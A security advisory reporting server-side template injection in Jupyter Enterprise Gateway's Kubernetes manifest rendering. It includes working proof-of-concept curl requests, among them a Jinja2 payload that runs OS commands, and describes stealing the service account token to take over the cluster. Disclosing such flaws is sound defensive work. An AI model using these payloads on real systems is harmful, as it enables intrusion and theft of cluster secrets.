PYSEC-2026-364 
### Summary

The environment variables (`KERNEL_XXX`) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI).
By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service.
The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a `hostPath` volume mount.

### Details

The `KERNEL_POD_NAME` variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code:
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247
 
The Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, in addition to `kernel_pod_name` discussed above, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for SSTI.
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77
 
These values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase.

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137
 
### PoC


#### Simple demonstration of SSTI using `{{7 * 7}}`

```bash
 curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}'
```

```json
{"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0}
```

Running `kubectl get pods`
```
NAME                                                 READY   STATUS    RESTARTS   AGE
bdawg-49                                             1/1     Running   0          3m54s
```

#### Remote code execution - OS Commands via SSTI

```bash
curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}'
```

```json
{"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07
```

```
NAME                                                 READY   STATUS    RESTARTS   AGE
bdawg-enterprise-gateway-8695685bc8-klm4m            1/1     Running   0          2m25s
```

`enterprise-gateway-8695685bc8-klm4m` is the hostname of the Enterprise Gateway pod.


#### Enterprise Gateway RBAC
The Enterprise Gateway service account has R/W access to several resource kinds.

Stolen Enterprise Gateway service account `kubectl auth can-i --list`

```
Resources                                                Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io                 []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io            []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io             []                                     []               [create]
rolebindings.rbac.authorization.k8s.io                   []                                     []               [get list create delete]
configmaps                                               []                                     []               [get watch list create delete]
namespaces                                               []                                     []               [get watch list create delete]
persistentvolumeclaims                                   []                                     []               [get watch list create delete]
persistentvolumes                                        []                                     []               [get watch list create delete]
pods                                                     []                                     []               [get watch list create delete]
secrets                                                  []                                     []               [get watch list create delete]
services                                                 []                                     []               [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io/status   []                                     []               [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io          []                                     []               [get watch list create delete]
sparkapplications.sparkoperator.k8s.io/status            []                                     []               [get watch list create delete]
sparkapplications.sparkoperator.k8s.io                   []                                     []               [get watch list create delete]
                                                         [/.well-known/openid-configuration/]   []               [get]
                                                         [/.well-known/openid-configuration]    []               [get]
                                                         [/api/*]                               []               [get]
                                                         [/api]                                 []               [get]
                                                         [/apis/*]                              []               [get]
                                                         [/apis]                                []               [get]
                                                         [/healthz]                             []               [get]
                                                         [/healthz]                             []               [get]
                                                         [/livez]                               []               [get]
                                                         [/livez]                               []               [get]
                                                         [/openapi/*]                           []               [get]
                                                         [/openapi]                             []               [get]
                                                         [/openid/v1/jwks/]                     []               [get]
                                                         [/openid/v1/jwks]                      []               [get]
                                                         [/readyz]                              []               [get]
                                                         [/readyz]                              []               [get]
                                                         [/version/]                            []               [get]
                                                         [/version/]                            []               [get]
                                                         [/version]                             []               [get]
                                                         [/version]                             []               [get]
 ```

### Impact
This is a server side template injection that leads to remote code execution (python and OS commands).

An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token.
 It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with `hostPath` mounts, which can be used to compromise the complete cluster and all workloads on it.
CVSS v4.0 score: 10